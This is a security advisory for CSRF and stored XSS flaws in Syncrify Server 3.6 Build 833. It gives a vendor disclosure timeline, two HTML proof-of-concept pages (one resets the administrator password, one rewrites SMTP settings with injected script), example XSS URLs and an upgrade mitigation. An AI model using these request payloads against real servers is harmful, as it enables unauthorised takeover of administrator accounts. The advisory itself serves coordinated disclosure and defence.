Syncrify Server 3.6 Build 833 CSRF / Cross Site Scripting

2015-05-0800:00:00
Marlow Tannhauser
packetstormsecurity.com
EPSS
0.004
Percentile
72.6%
JSON
`# Exploit Title: Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)  
# Date: 07-05-2015  
# Exploit Author: Marlow Tannhauser  
# Contact: [email protected]  
# Vendor Homepage: http://www.synametrics.com  
# Software Link: http://web.synametrics.com/SyncrifyDownload.htm  
# Version: 3.6 Build 833. Earlier versions may also be affected.  
# CVE: 2015-3140  
# Category: Web apps  
  
  
# DISCLOSURE TIMELINE #  
08/02/2015: Initial disclosure to vendor and CERT  
09/02/2015: Acknowledgment of vulnerabilities from vendor  
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor  
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request  
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request  
20/04/2015: Confirmation of fix from vendor  
07/05/2015: Disclosure  
  
Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.  
  
  
# EXPLOIT DESCRIPTION #  
Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.  
  
  
# POC 1 #  
The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities.  
  
<html>  
<img src="http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp" alt="" width="1" height="1">  
</html>  
  
  
# POC 2 #  
The following PoC uses the CSRF vulnerability to change the administrator password.  
  
<html>  
<img src="http://192.168.0.8:5800/app?adminPassword=MARLOW&alertInvalidPassword=true&blockIP=false&alertManualPath=false&proceedButton=Save&operation=config&st=saveSecurity" width="0" height="0" border="0">  
</html>  
  
  
# STORED XSS VULNERABILITIES #  
Stored XSS vulnerabilities are present in the following fields:  
  
Manage Users > Add New User > User's Full Name [displayed in Reports > Backup report by user]  
Example URL: http://192.168.0.8:5800/app?fullName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&login=user%40user.com&password=password&numVersionsToKeep=0&diskQuota=-1&selectedPath=%2Fhome%2F&operation=manageUsers&st=addUser#  
  
Configuration > Email Configuration > Administrator's Email [displayed in Troubleshoot and Reports pages]  
Example URL: http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp  
  
  
# MITIGATION #  
Upgrade to the latest build of Syncrify Server, available from the link shown.  
  
`
EPSS
0.004
Percentile
72.6%
JSON
Related for PACKETSTORM:131843